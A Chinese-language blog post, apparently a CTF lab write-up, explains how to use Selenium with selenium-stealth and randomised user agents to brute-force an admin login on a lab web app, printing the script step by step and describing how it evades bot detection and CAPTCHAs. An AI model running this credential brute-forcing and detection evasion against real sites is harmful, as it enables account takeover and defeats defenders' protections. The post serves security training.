浏览器自动化工具在渗透测试中的实战应用

本文详细介绍了如何使用Selenium进行浏览器自动化,包括配置浏览器选项、实现隐身技术、执行暴力破解攻击等实战技巧,帮助安全研究人员绕过客户端限制并提取动态数据。

通过浏览器自动化实现工具化

我是 Chetan Chinchulkar(又名 omnipresent),白天是充满热情的网络安全爱好者和软件开发工程师(SDE),晚上则是 CTF 成瘾者!目前排名 TryHackMe 前 1%(在此查看我的个人资料),我利用空闲时间深入研究 CTF、hackthebox、解决网络谜题,并痴迷于学习修复(和破坏)系统的新方法。

为什么使用浏览器自动化?

当你自动化浏览器时,你不再需要手动突破加密层。相反,你让浏览器完成繁重的工作,就像合法用户一样。应用程序中运行的 JavaScript 在客户端执行所有逻辑,包括自定义加密和 DOM 操作。

通过使用浏览器自动化工具,你可以像真实用户一样与应用程序交互。这意味着浏览器为你完成所有处理。一旦最终有效载荷或响应被渲染或转换,你的自动化工具只需提取它们。

这使得浏览器自动化工具在以下方面非常有用:

  • 绕过验证码和客户端限制 — 由于你模拟真实交互,许多机器人检测机制变得不那么有效。某些浏览器自动化工具甚至允许你注入浏览器上下文,这意味着自动化软件使用的浏览器将建立信任以绕过机器人检测机制。
  • 触发多步骤工作流 — 某些漏洞利用需要跨多个屏幕或用户操作与应用程序交互。浏览器自动化允许你流畅地将这些步骤链接在一起。
  • 提取渲染或动态生成的值 — 通常,你想要的数据或令牌仅在 JavaScript 执行后出现。浏览器自动化让你直接访问实时 DOM 和渲染值。

简而言之,浏览器自动化工具允许你利用应用程序的逻辑而不是对抗它。通过像用户一样导航应用程序,你可以绕过客户端控制、提取动态数据,并构建更具弹性和真实性的漏洞利用。

我们将使用 Selenium,因为它易于使用、支持 Python 且具有广泛的浏览器兼容性。Selenium 是一个强大的浏览器自动化工具,常用于测试、网络爬取,甚至模拟用户行为进行渗透测试。

在分析脚本之前,让我们了解一些使用 Selenium 自动化网络交互的基本概念:

  • WebDriver:Selenium 的 WebDriver 控制浏览器,允许我们导航到页面、与元素交互并提取数据。
  • 元素识别:Selenium 提供了多种使用 ID、名称或 XPath 等属性定位和与元素交互的方法。
  • 无头模式:一种在没有图形界面情况下运行浏览器的方式,使自动化更快、更高效。
  • CSRF 保护:网络应用程序通常使用跨站请求伪造(CSRF)令牌来防止恶意请求。使用 Selenium 时,由于我们使用浏览器,CSRF 令牌始终是动态生成并与每个请求一起提交的。
  • 隐身技术:Selenium Stealth 通过模仿人类行为和掩盖自动化指纹来防止检测。

托管在 http://SECOND_VM_IP/labs/lab1/ 的网络应用程序使用 CSRF 令牌验证每个登录请求。目标是使用基于 Selenium 的脚本执行暴力攻击以确定正确的密码。

按回车或点击查看完整尺寸图像

脚本概述

VNC VM 中提供的 Python 脚本使用 Selenium 尝试使用密码字典进行登录尝试。以下是分解:

1
2
3
4
5
6
7
8
from selenium.webdriver.common.by import By
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from selenium_stealth import stealth
import time
import logging
from fake_useragent import UserAgent
  • Selenium WebDriver 控制 Chrome 浏览器进行自动化。
  • selenium_stealth 用于防止机器人检测。
  • fake_useragent 生成真实的浏览器指纹以避免检测。

步骤 2 — 配置浏览器

使用各种 Chrome 选项配置浏览器以实现最佳性能和隐身:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
options = Options()
ua = UserAgent()
userAgent = ua.random
options.add_argument('--no-sandbox')
options.add_argument('--headless')
options.add_argument("start-maximized")
options.add_argument(f'user-agent={userAgent}')
options.add_argument('--disable-dev-shm-usage')
options.add_argument('--disable-cache')
options.add_argument('--disable-gpu')
  • --no-sandbox:防止 Chrome 使用沙盒模式,在 Docker 或 root 用户下运行时通常需要此选项。
  • --headless:在没有图形用户界面的情况下运行 Chrome,使其更快、更高效。
  • start-maximized:确保浏览器完全最大化,防止响应式布局出现问题。
  • f'user-agent={userAgent}':生成随机浏览器用户代理,帮助脚本逃避检测。
  • --disable-dev-shm-usage:防止 Docker 容器中的内存限制。
  • --disable-cache:确保浏览器为每次尝试获取新数据。

步骤 3 — 实现隐身技术

为了防止检测,脚本使用 selenium-stealth,它修改浏览器行为以模拟合法用户:

1
2
3
4
5
6
7
8
stealth(chrome,
    languages=["en-US", "en"],
    vendor="Google Inc.",
    platform="Win32",
    webgl_vendor="Intel Inc.",
    renderer="Intel Iris OpenGL Engine",
    fix_hairline=True,
)
  • 语言和供应商:模拟常见的浏览器语言和供应商配置。
  • WebGL 供应商和渲染器:掩盖 GPU 细节以避免通过指纹识别检测。
  • 修复发丝线:修复可能指示无头模式的渲染差异。

执行暴力攻击

脚本使用 Selenium 尝试使用密码列表进行登录尝试。以下是其工作原理:

1
2
3
4
5
ip = 'http://SECOND_VM_IP/labs/lab1/'
login_url = f'{ip}/index.php'
dashboard_url = f'{ip}/dashboard.php'
username = "admin"
passwords = ["123456", "admin", "letmein", "pass123", "password"]
  • 目标 URL:定义了应用程序的登录 URL 和仪表板 URL。
  • 用户名:所有尝试都使用用户名 admin。
  • 密码列表:使用一组常见的弱密码进行暴力破解。

步骤 1 — 表单提交

使用 Selenium 的 find_element() 方法提交每个密码:

1
2
3
4
5
chrome.get(login_url)
time.sleep(0.5)
chrome.find_element(By.NAME, "username").send_keys(username)
chrome.find_element(By.NAME, "password").send_keys(password)
chrome.find_element(By.TAG_NAME, "form").submit()
  • chrome.get() 加载登录页面。
  • .find_element() 使用名称属性定位用户名和密码输入字段。
  • .send_keys() 模拟在字段中输入。
  • .submit() 提交表单。

步骤 2 — 验证登录尝试

提交表单后,脚本通过验证浏览器是否重定向到仪表板来检查登录是否成功:

1
2
3
4
5
6
7
8
if dashboard_url in chrome.current_url:
    print(f"[+] Login successful with password: {password}")
    flag_element = chrome.find_element(By.TAG_NAME, "p")
    flag = flag_element.text.strip()
    print(f"[+] {flag}")
    break
else:
    print(f"[-] Failed login with: {password}")
  • URL 检查:如果当前 URL 与 dashboard_url 匹配,脚本假定登录成功。
  • 提取标志:成功登录后,脚本使用 find_element() 提取并打印标志。

执行脚本

要从 VNC VM 终端执行脚本,请运行以下命令:

1
2
3
4
Terminal
$ cd ~/Desktop/101Selenium
$ source env/bin/activate
$ python3 lab1.py

如果找到有效密码,输出将显示成功的凭据:

1
2
3
[-] Failed login with: 123456
[--snip--]
[+] Flag: FLAG{***********************}

你可以在此处获取 lab1.py 的完整代码:

GitHub - Chetan-Chinchulkar/browser-automation 为 Chetan-Chinchulkar/browser-automation 开发做出贡献,通过在 GitHub 上创建帐户。 github.com

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计